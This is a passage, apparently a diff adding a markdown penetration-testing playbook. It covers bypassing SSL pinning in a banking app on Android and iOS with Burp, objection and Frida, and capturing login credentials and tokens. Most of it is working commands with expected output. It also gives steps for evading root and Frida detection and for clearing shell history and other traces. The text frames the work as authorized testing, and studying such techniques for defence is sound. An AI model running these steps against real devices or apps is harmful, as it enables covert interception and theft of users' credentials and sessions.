|
|
292
|
+
|
|
293
|
+
---
|
|
294
|
+
|
|
295
|
+
### Step 5 — Install Burp CA Certificate on Device
|
|
296
|
+
|
|
297
|
+
#### Android
|
|
298
|
+
|
|
299
|
+
```bash
|
|
300
|
+
# Export Burp CA certificate
|
|
301
|
+
# In Burp Suite: Proxy → Options → Import/Export CA Certificate
|
|
302
|
+
# → Export Certificate in DER format → save as burp-ca.der
|
|
303
|
+
|
|
304
|
+
# Convert to PEM for Android
|
|
305
|
+
openssl x509 -inform DER -in burp-ca.der -out burp-ca.pem
|
|
306
|
+
|
|
307
|
+
# Get certificate hash (required for Android system store)
|
|
308
|
+
openssl x509 -inform PEM -subject_hash_old -in burp-ca.pem | head -1
|
|
309
|
+
# Example output: 9a5ba575
|
|
310
|
+
|
|
311
|
+
# Rename certificate to hash format
|
|
312
|
+
cp burp-ca.pem 9a5ba575.0
|
|
313
|
+
|
|
314
|
+
# Push to Android system certificate store (requires root/remount)
|
|
315
|
+
adb push 9a5ba575.0 /sdcard/
|
|
316
|
+
adb shell su -c "mount -o rw,remount /system"
|
|
317
|
+
adb shell su -c "cp /sdcard/9a5ba575.0 /system/etc/security/cacerts/"
|
|
318
|
+
adb shell su -c "chmod 644 /system/etc/security/cacerts/9a5ba575.0"
|
|
319
|
+
adb reboot
|
|
320
|
+
# Device reboots — Burp CA is now trusted as a system certificate
|
|
321
|
+
```
|
|
322
|
+
|
|
323
|
+
#### iOS
|
|
324
|
+
|
|
325
|
+
```bash
|
|
326
|
+
# Download Burp CA via Safari on the device:
|
|
327
|
+
# Navigate to: http://burp (while proxy is active) → CA Certificate
|
|
328
|
+
# iOS will prompt to install the profile
|
|
329
|
+
|
|
330
|
+
# After download: Settings → General → VPN & Device Management → Install Burp CA
|
|
331
|
+
# Then: Settings → General → About → Certificate Trust Settings → Enable Burp CA
|
|
332
|
+
```
|
|
333
|
+
|
|
334
|
+
**Fallback for Android 7+ (Network Security Config restriction):**
|
|
335
|
+
```bash
|
|
336
|
+
# If app restricts trust to user certs only, bypass via:
|
|
337
|
+
# 1. Repackage APK to add network_security_config.xml allowing user certs:
|
|
338
|
+
# (objection patchapk handles this automatically)
|
|
339
|
+
# 2. Or use Frida script to patch OkHttp/TrustManager at runtime (see Step 8)
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
---
|
|
343
|
+
|
|
344
|
+
### Step 6 — Route Device Traffic Through Burp Proxy
|
|
345
|
+
|
|
346
|
+
#### Android
|
|
347
|
+
|
|
348
|
+
```bash
|
|
349
|
+
# On the Android device:
|
|
350
|
+
# Settings → Wi-Fi → Long-press network → Modify Network
|
|
351
|
+
# Advanced options → Proxy → Manual
|
|
352
|
+
# Proxy hostname: 192.168.1.100 (attacker machine IP)
|
|
353
|
+
# Proxy port: 8080
|
|
354
|
+
# Save
|
|
355
|
+
|
|
356
|
+
# Verify proxy is active — open Chrome on device and browse to any site
|
|
357
|
+
# Traffic should appear in Burp Suite → HTTP History
|
|
358
|
+
|
|
359
|
+
# Alternative — use adb to set proxy programmatically:
|
|
360
|
+
adb shell settings put global http_proxy 192.168.1.100:8080
|
|
361
|
+
# Reset when done:
|
|
362
|
+
adb shell settings delete global http_proxy
|
|
363
|
+
```
|
|
364
|
+
|
|
365
|
+
#### iOS
|
|
366
|
+
|
|
367
|
+
```bash
|
|
368
|
+
# Settings → Wi-Fi → (i) next to connected network → Configure Proxy
|
|
369
|
+
# Manual:
|
|
370
|
+
# Server: 192.168.1.100
|
|
371
|
+
# Port: 8080
|
|
372
|
+
# Save
|
|
373
|
+
```
|
|
374
|
+
|
|
375
|
+
---
|
|
376
|
+
|
|
377
|
+
### Step 7 — Launch Target App via objection
|
|
378
|
+
|
|
379
|
+
```bash
|
|
380
|
+
# Identify app package name / bundle ID
|
|
381
|
+
# Android:
|
|
382
|
+
adb shell pm list packages | grep -i bank
|
|
383
|
+
# Expected output: package:com.target.bankingapp
|
|
384
|
+
|
|
385
|
+
# iOS:
|
|
386
|
+
frida-ps -Ua | grep -i bank
|
|
387
|
+
# Expected output:
|
|
388
|
+
# PID Name Identifier
|
|
389
|
+
# ---- ------------------- -------------------------
|
|
390
|
+
# 1234 Target Bank com.target.bankingapp
|
|
391
|
+
|
|
392
|
+
# Launch app and attach objection (Android)
|
|
393
|
+
objection --gadget com.target.bankingapp explore
|
|
394
|
+
# Expected output:
|
|
395
|
+
# ....
|
|
396
|
+
# com.target.bankingapp on (Android: 13) [usb] #
|
|
397
|
+
|
|
398
|
+
# For iOS:
|
|
399
|
+
objection --gadget "Target Bank" explore
|
|
400
|
+
# Expected output:
|
|
401
|
+
# com.target.bankingapp on (iOS: 16.5) [usb] #
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
**Fallback:** If objection fails to attach to a running app:
|
|
405
|
+
```bash
|
|
406
|
+
# Spawn the app fresh via objection (kills existing instance):
|
|
407
|
+
objection --gadget com.target.bankingapp explore --startup-command "android sslpinning disable"
|
|
408
|
+
|
|
409
|
+
# Or attach by PID:
|
|
410
|
+
PID=$(adb shell pidof com.target.bankingapp)
|
|
411
|
+
objection --gadget $PID explore
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
---
|
|
415
|
+
|
|
416
|
+
### Step 8 — Disable SSL Pinning with objection
|
|
417
|
+
|
|
418
|
+
```bash
|
|
419
|
+
# Inside the objection REPL:
|
|
420
|
+
com.target.bankingapp on (Android: 13) [usb] # android sslpinning disable
|
|
421
|
+
|
|
422
|
+
# Expected output:
|
|
423
|
+
# (agent) Custom TrustManager ready
|
|
424
|
+
# (agent) Overwriting SSLContext.init() with custom TrustManager
|
|
425
|
+
# (agent) OkHTTP 3.x Found
|
|
426
|
+
# (agent) OkHTTP 3.x pinning disabled
|
|
427
|
+
# (agent) Subjectpublickeyinfo.verify() Disabled
|
|
428
|
+
# (agent) SSLPeerUnverifiedException: no peer certificate Disabled
|
|
429
|
+
|
|
430
|
+
# For iOS targets:
|
|
431
|
+
com.target.bankingapp on (iOS: 16.5) [usb] # ios sslpinning disable
|
|
432
|
+
|
|
433
|
+
# Expected output:
|
|
434
|
+
# (agent) Disabling SSL pinning
|
|
435
|
+
# (agent) SSLHandshake Pinning Disabled
|
|
436
|
+
# (agent) SecTrustEvaluate, SecTrustEvaluateWithError Pinning Disabled
|
|
437
|
+
```
|
|
438
|
+
|
|
439
|
+
**Fallback — If objection bypass is incomplete (custom pinning implementations):**
|
|
440
|
+
|
|
441
|
+
```bash
|
|
442
|
+
# Use a more comprehensive Frida script targeting specific frameworks:
|
|
443
|
+
# Download frida-ios-dump or use the Universal SSL Unpinner:
|
|
444
|
+
|
|
445
|
+
# Save as ssl-unpinner.js and run:
|
|
446
|
+
frida -U -l ssl-unpinner.js com.target.bankingapp
|
|
447
|
+
|
|
448
|
+
# For Android with custom certificate validators (OkHttp, Retrofit, Volley):
|
|
449
|
+
# Use the objection android sslpinning disable --quiet command or
|
|
450
|
+
# use Frida script targeting TrustManager directly:
|
|
451
|
+
|
|
452
|
+
frida -U -l android-ssl-bypass.js com.target.bankingapp
|
|
453
|
+
# Script source: https://github.com/akabe1/frida-multiple-unpinning
|
|
454
|
+
|
|
455
|
+
# Alternative — Xposed Framework (Android, requires rooted device):
|
|
456
|
+
# Install SSLUnpinning or JustTrustMe module via LSPosed Manager
|
|
457
|
+
```
|
|
458
|
+
|
|
459
|
+
---
|
|
460
|
+
|
|
461
|
+
### Step 9 — Interact with App and Trigger Authentication
|
|
462
|
+
|
|
463
|
+
```bash
|
|
464
|
+
# With SSL pinning disabled and Burp proxy active:
|
|
465
|
+
# Manually interact with the target app on the device:
|
|
466
|
+
# 1. Open the banking/target app
|
|
467
|
+
# 2. Navigate to the login screen
|
|
468
|
+
# 3. Enter test credentials (use authorized test account):
|
|
469
|
+
# Username: testuser@target.com
|
|
470
|
+
# Password: TestPassword123!
|
|
471
|
+
# 4. Tap "Login" / "Sign In"
|
|
472
|
+
|
|
473
|
+
# Simultaneously in Burp Suite:
|
|
474
|
+
# → Proxy → HTTP History
|
|
475
|
+
# Watch for POST requests to the authentication endpoint
|
|
476
|
+
|
|
477
|
+
# In Burp Suite Intercept (optional — to pause and inspect in real time):
|
|
478
|
+
# Proxy → Intercept → Intercept is ON
|
|
479
|
+
# Each request will pause for review before forwarding
|
|
480
|
+
```
|
|
481
|
+
|
|
482
|
+
---
|
|
483
|
+
|
|
484
|
+
### Step 10 — Capture Credentials in Burp HTTP History
|
|
485
|
+
|
|
486
|
+
```bash
|
|
487
|
+
# In Burp Suite → Proxy → HTTP History
|
|
488
|
+
# Look for POST requests to endpoints like:
|
|
489
|
+
# /api/auth/login
|
|
490
|
+
# /api/v1/authenticate
|
|
491
|
+
# /oauth/token
|
|
492
|
+
# /api/users/signin
|
|
493
|
+
|
|
494
|
+
# Click on the login request — inspect the Request tab
|
|
495
|
+
# Expected captured request body (JSON format):
|
|
496
|
+
# POST /api/v1/authenticate HTTP/1.1
|
|
497
|
+
# Host: api.targetbank.com
|
|
498
|
+
# Content-Type: application/json
|
|
499
|
+
# Authorization: Bearer <existing-token-if-any>
|
|
500
|
+
#
|
|
501
|
+
# {
|
|
502
|
+
# "username": "testuser@target.com",
|
|
503
|
+
# "password": "TestPassword123!",
|
|
504
|
+
# "device_id": "abc123def456",
|
|
505
|
+
# "mfa_token": ""
|
|
506
|
+
# }
|
|
507
|
+
|
|
508
|
+
# Expected response (credential confirmation):
|
|
509
|
+
# HTTP/1.1 200 OK
|
|
510
|
+
# {
|
|
511
|
+
# "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
|
|
512
|
+
# "refresh_token": "dGhpcyBpcyBhIHNhbXBsZSByZWZyZXNoIHRva2Vu",
|
|
513
|
+
# "expires_in": 3600,
|
|
514
|
+
# "user_id": "usr_001234"
|
|
515
|
+
# }
|
|
516
|
+
|
|
517
|
+
# Save captured credentials and tokens as evidence:
|
|
518
|
+
# Right-click request → Save item → capture_login_POST.xml
|
|
519
|
+
# Screenshot the Burp request/response window for report
|
|
520
|
+
|
|
521
|
+
# Also capture session cookies in Burp → Proxy → HTTP History → Cookies
|
|
522
|
+
# Look for Set-Cookie headers in authentication responses
|
|
523
|
+
```
|
|
524
|
+
|
|
525
|
+
**Fallback — If credentials are not visible in plaintext:**
|
|
526
|
+
```bash
|
|
527
|
+
# App may use additional encryption layer on top of TLS
|
|
528
|
+
# Check if request body is base64 encoded:
|
|
529
|
+
echo "eyJ1c2VybmFtZSI6InRlc3R1c2VyIn0=" | base64 -d
|
|
530
|
+
|
|
531
|
+
# Check if payload is compressed:
|
|
532
|
+
# In Burp → Decoder tab → paste body → decode as Base64 → decompress GZIP
|
|
533
|
+
|
|
534
|
+
# Use Frida to hook the encryption function and extract plaintext before encryption:
|
|
535
|
+
# Identify the encryption class in objection:
|
|
536
|
+
com.target.bankingapp on (Android: 13) [usb] # android hooking list classes | grep -i crypt
|
|
537
|
+
# Then hook and dump arguments:
|
|
538
|
+
com.target.bankingapp on (Android: 13) [usb] # android hooking watch class_method com.target.app.util.CryptoUtil.encrypt --dump-args --dump-return
|
|
539
|
+
```
|
|
540
|
+
|
|
541
|
+
---
|
|
542
|
+
|
|
543
|
+
## Real-World Reference
|
|
544
|
+
|
|
545
|
+
**Scenario: Banking App — objection SSL Pinning Bypass → Credential Capture**
|
|
546
|
+
|
|
547
|
+
1. Target: A major retail banking application (Android/iOS) communicating with `https://api.bankapp.com`
|
|
548
|
+
2. The app implements SSL certificate pinning using OkHttp's `CertificatePinner` class — Burp proxy initially shows SSL handshake failures
|
|
549
|
+
3. Operator attaches objection to the running app process: `android sslpinning disable`
|
|
550
|
+
4. objection hooks OkHttp's certificate validation chain, overriding the pinned certificate check with a permissive TrustManager
|
|
551
|
+
5. Operator triggers a login in the app using the authorized test account
|
|
552
|
+
6. Burp HTTP History captures the POST to `/api/v1/auth/login` with cleartext JSON body: `{"username":"testuser@bank.com","password":"P@ssw0rd!"}`
|
|
553
|
+
7. Response contains a JWT access token and refresh token — both captured
|
|
554
|
+
8. Finding documented as Critical: SSL pinning implementation is bypassable via Frida, exposing all HTTPS traffic including credentials, account details, and transaction history
|
|
555
|
+
|
|
556
|
+
**Common Banking App Variants Seen in Practice:**
|
|
557
|
+
- Apps using `TrustKit` (iOS) — bypassed via `ios sslpinning disable` with TrustKit-specific hooks
|
|
558
|
+
- Apps using `network_security_config.xml` with pinned certificates — bypassed via APK repackaging
|
|
559
|
+
- Apps using OkHttp `CertificatePinner` — bypassed by objection hooking `check()` method
|
|
560
|
+
- Apps using custom `X509TrustManager` implementations — bypassed via Frida hooking `checkServerTrusted()`
|
|
561
|
+
|
|
562
|
+
---
|
|
563
|
+
|
|
564
|
+
## MITRE ATT&CK Mapping
|
|
565
|
+
|
|
566
|
+
| Step | Tactic | Technique | Sub-technique | Description |
|
|
567
|
+
|------|--------|-----------|---------------|-------------|
|
|
568
|
+
| 1 — Device Jailbreak/Root | Defense Evasion | T1553 | T1553.002 — Code Signing | Bypassing OS security controls to gain privileged access |
|
|
569
|
+
| 2 — Install Frida Server | Execution | T1059 | T1059.004 — Unix Shell | Deploying dynamic instrumentation runtime on device |
|
|
570
|
+
| 3 — Verify Frida Connectivity | Discovery | T1082 | — | System Information Discovery — enumerating device processes |
|
|
571
|
+
| 4–6 — Proxy Configuration | Collection | T1557 | T1557.002 — ARP Cache Poisoning (conceptually MITM) | Positioning attacker as intermediary for all device HTTPS traffic |
|
|
572
|
+
| 7 — Attach objection | Defense Evasion | T1562 | T1562.001 — Disable or Modify Tools | Attaching to app runtime to manipulate security controls |
|
|
573
|
+
| 8 — Disable SSL Pinning | Defense Evasion | T1553 | T1553.004 — Install Root Certificate | Bypassing certificate validation to enable traffic interception |
|
|
574
|
+
| 9 — Trigger Authentication | Collection | T1557 | — | Adversary-in-the-Middle — intercepting app-to-server communication |
|
|
575
|
+
| 10 — Capture Credentials | Credential Access | T1539 | — | Steal Web Session Cookie — capturing credentials and session tokens |
|
|
576
|
+
| Post — Credential Reuse | Initial Access | T1078 | T1078.003 — Local Accounts | Using captured credentials for further access |
|
|
577
|
+
|
|
578
|
+
---
|
|
579
|
+
|
|
580
|
+
## Detection & OPSEC
|
|
581
|
+
|
|
582
|
+
### How This Attack Is Detected
|
|
583
|
+
|
|
584
|
+
- **Jailbreak/Root detection:** Many banking apps use SafetyNet Attestation (Android) or jailbreak detection libraries (iOS: DTTJailbreakDetection, IOSSecuritySuite) — triggers app refusal to run or reduced functionality
|
|
585
|
+
- **Frida detection:** Apps may detect Frida by scanning for `frida-agent` in memory, checking for `/data/local/tmp/frida-server`, or detecting the presence of port 27042 (Frida default)
|
|
586
|
+
- **objection detection:** Some apps detect objection-specific Frida scripts by hook name or memory patterns
|
|
587
|
+
- **Certificate pinning failure alerts:** If pinning bypass is incomplete, the app may log certificate errors or alert the backend
|
|
588
|
+
- **Anomalous proxy headers:** Burp Suite inserts `X-Forwarded-For` and other headers — well-instrumented backends may flag these
|
|
589
|
+
- **Device integrity attestation:** Apps using Google Play Integrity API or Apple DeviceCheck can detect rooted/jailbroken devices server-side and reject sessions
|
|
590
|
+
|
|
591
|
+
### How to Reduce Detection Risk (Authorized Engagements)
|
|
592
|
+
|
|
593
|
+
```bash
|
|
594
|
+
# 1. Bypass jailbreak/root detection before SSL pinning bypass:
|
|
595
|
+
# In objection REPL:
|
|
596
|
+
com.target.bankingapp on (Android: 13) [usb] # android root disable
|
|
597
|
+
com.target.bankingapp on (Android: 13) [usb] # ios jailbreak disable
|
|
598
|
+
|
|
599
|
+
# 2. Bypass Frida detection using anti-anti-Frida scripts:
|
|
600
|
+
# Use Frida script that hides the Frida server from detection:
|
|
601
|
+
frida -U -l frida-detect-bypass.js com.target.bankingapp
|
|
602
|
+
# Source: https://github.com/darvincisec/DetectFrida
|
|
603
|
+
|
|
604
|
+
# 3. Rename Frida server binary to avoid name-based detection:
|
|
605
|
+
adb shell su -c "cp /data/local/tmp/frida-server /data/local/tmp/su_helper"
|
|
606
|
+
adb shell su -c "/data/local/tmp/su_helper &"
|
|
607
|
+
|
|
608
|
+
# 4. Use a different Frida listening port to avoid port 27042 detection:
|
|
609
|
+
adb shell su -c "/data/local/tmp/frida-server -l 0.0.0.0:12345 &"
|
|
610
|
+
frida-ps -H <device-ip>:12345
|
|
611
|
+
|
|
612
|
+
# 5. Disable Burp proxy header injection:
|
|
613
|
+
# Burp Suite → Proxy → Options → Miscellanous → Uncheck "Add 'Via' header"
|
|
614
|
+
# Uncheck "Add 'X-Forwarded-For' header"
|
|
615
|
+
|
|
616
|
+
# 6. Use a certificate that matches the pinned cert's CA (if scope allows):
|
|
617
|
+
# Request a cert from the pinned CA using scope-approved methods
|
|
618
|
+
# (This is rare and complex — typically objection bypass is sufficient)
|
|
619
|
+
|
|
620
|
+
# 7. Use a real device rather than emulator if root detection checks for emulator artifacts
|
|
621
|
+
adb shell getprop ro.kernel.qemu
|
|
622
|
+
# If output is "1" — emulator detected. Use physical rooted device instead.
|
|
623
|
+
```
|
|
624
|
+
|
|
625
|
+
### Artifacts Left Behind
|
|
626
|
+
|
|
627
|
+
| Artifact | Location | Notes |
|
|
628
|
+
|----------|----------|-------|
|
|
629
|
+
| Frida server binary | `/data/local/tmp/frida-server` (Android) | Remove after engagement |
|
|
630
|
+
| Frida server process | Running in device memory | Kill process before cleanup |
|
|
631
|
+
| Burp CA certificate | Device system certificate store | Remove from trusted CAs |
|
|
632
|
+
| Device proxy settings | Android/iOS network settings | Reset proxy to None |
|
|
633
|
+
| Objection logs | Terminal session history on attacker machine | Clear or encrypt |
|
|
634
|
+
| Burp Suite project file | Attacker machine `~/BurpSuite/` | Contains all captured traffic — secure and delete post-engagement |
|
|
635
|
+
| Captured HTTP history | Burp Suite project | Export as evidence then delete local copy |
|
|
636
|
+
| SSH known_hosts (iOS) | `~/.ssh/known_hosts` on attacker machine | Remove device IP entry |
|
|
637
|
+
| ADB connection history | Attacker machine ADB keystore | Located at `~/.android/` |
|
|
638
|
+
| Shell history | Attacker machine `~/.bash_history` or `~/.zsh_history` | Clear after engagement |
|
|
639
|
+
|
|
640
|
+
---
|
|
641
|
+
|
|
642
|
+
## Cleanup
|
|
643
|
+
|
|
644
|
+
Steps to remove artifacts after an authorized engagement:
|
|
645
|
+
|
|
646
|
+
```bash
|
|
647
|
+
# 1. Kill Frida server on the Android device
|
|
648
|
+
adb shell su -c "pkill frida-server"
|
|
649
|
+
# Or by process name if renamed:
|
|
650
|
+
adb shell su -c "pkill su_helper"
|
|
651
|
+
|
|
652
|
+
# 2. Remove Frida server binary from device
|
|
653
|
+
adb shell su -c "rm /data/local/tmp/frida-server"
|
|
654
|
+
# If renamed:
|
|
655
|
+
adb shell su -c "rm /data/local/tmp/su_helper"
|
|
656
|
+
|
|
657
|
+
# 3. Remove Burp CA certificate from Android device
|
|
658
|
+
adb shell su -c "rm /system/etc/security/cacerts/9a5ba575.0"
|
|
659
|
+
# (Use the actual hash you installed in Step 5)
|
|
660
|
+
# Or via device Settings → Security → Encryption & Credentials → Trusted Credentials
|
|
661
|
+
# → System tab → find Burp CA → Remove
|
|
662
|
+
|
|
663
|
+
# For iOS:
|
|
664
|
+
# Settings → General → VPN & Device Management → Burp CA Profile → Remove
|
|
665
|
+
|
|
666
|
+
# 4. Reset device proxy settings
|
|
667
|
+
# Android — reset via adb:
|
|
668
|
+
adb shell settings delete global http_proxy
|
|
669
|
+
# Or manually: Settings → Wi-Fi → Network → Proxy → None
|
|
670
|
+
|
|
671
|
+
# iOS — manually: Settings → Wi-Fi → (i) → Configure Proxy → Off
|
|
672
|
+
|
|
673
|
+
# 5. Clear Burp Suite project — export evidence first then:
|
|
674
|
+
# File → Close Project
|
|
675
|
+
# Delete the project file from: ~/BurpSuite/projects/<project-name>.burp
|
|
676
|
+
|
|
677
|
+
# 6. Remove local credential and evidence files securely
|
|
678
|
+
# Linux/macOS:
|
|
679
|
+
shred -u burp-ca.der burp-ca.pem 9a5ba575.0
|
|
680
|
+
rm -f capture_login_POST.xml
|
|
681
|
+
|
|
682
|
+
# 7. Clear SSH known_hosts entry for iOS device
|
|
683
|
+
ssh-keygen -R <device-ip>
|
|
684
|
+
|
|
685
|
+
# 8. Clear ADB connection history (optional)
|
|
686
|
+
rm -f ~/.android/adbkey ~/.android/adbkey.pub
|
|
687
|
+
|
|
688
|
+
# 9. Clear shell history on attacker machine
|
|
689
|
+
history -c && history -w
|
|
690
|
+
# zsh:
|
|
691
|
+
rm ~/.zsh_history
|
|
692
|
+
|
|
693
|
+
# 10. Document cleanup in engagement report — note:
|
|
694
|
+
# - Frida server removed from device
|
|
695
|
+
# - CA certificate removed from device trust store
|
|
696
|
+
# - Proxy configuration restored to default
|
|
697
|
+
# - No persistent backdoors or modifications left on device
|
|
698
|
+
```
|
|
699
|
+
|
|
700
|
+
---
|
|
701
|
+
|
|
702
|
+
## References
|
|
703
|
+
|
|
704
|
+
| Resource | URL |
|
|
705
|
+
|----------|-----|
|
|
706
|
+
| Frida documentation | https://frida.re/docs/ |
|
|
707
|
+
| Frida releases (server binaries) | https://github.com/frida/frida/releases |
|
|
708
|
+
| objection documentation | https://github.com/sensepost/objection |
|
|
709
|
+
| objection SSL pinning bypass | https://github.com/sensepost/objection/wiki/Patching-Android-Applications |
|
|
710
|
+
| Burp Suite mobile testing guide | https://portswigger.net/support/configuring-an-android-device-to-work-with-burp |
|
|
711
|
+
| Frida multiple unpinning script | https://github.com/akabe1/frida-multiple-unpinning |
|
|
712
|
+
| SSL Kill Switch 2 (iOS) | https://github.com/nabla-c0d3/ssl-kill-switch2 |
|
|
713
|
+
| TrustKit bypass (iOS) | https://github.com/OWASP/owasp-mstg |
|
|
714
|
+
| OWASP Mobile Security Testing Guide | https://mas.owasp.org/MASTG/ |
|
|
715
|
+
| OWASP MASTG — Testing Network Communication | https://mas.owasp.org/MASTG/tests/android/MASVS-NETWORK/ |
|
|
716
|
+
| Android Network Security Configuration | https://developer.android.com/training/articles/security-config |
|
|
717
|
+
| Google Play Integrity API | https://developer.android.com/google/play/integrity |
|
|
718
|
+
| NowSecure SSL Pinning Bypass | https://www.nowsecure.com/blog/2017/06/15/certificate-pinning-for-android-and-ios/ |
|
|
719
|
+
| MITRE T1557 — Adversary-in-the-Middle | https://attack.mitre.org/techniques/T1557/ |
|
|
720
|
+
| MITRE T1539 — Steal Web Session Cookie | https://attack.mitre.org/techniques/T1539/ |
|
|
721
|
+
| MITRE T1078 — Valid Accounts | https://attack.mitre.org/techniques/T1078/ |
|
|
722
|
+
| MITRE T1553 — Subvert Trust Controls | https://attack.mitre.org/techniques/T1553/ |
|
|
723
|
+
| MITRE T1562 — Impair Defenses | https://attack.mitre.org/techniques/T1562/ |
|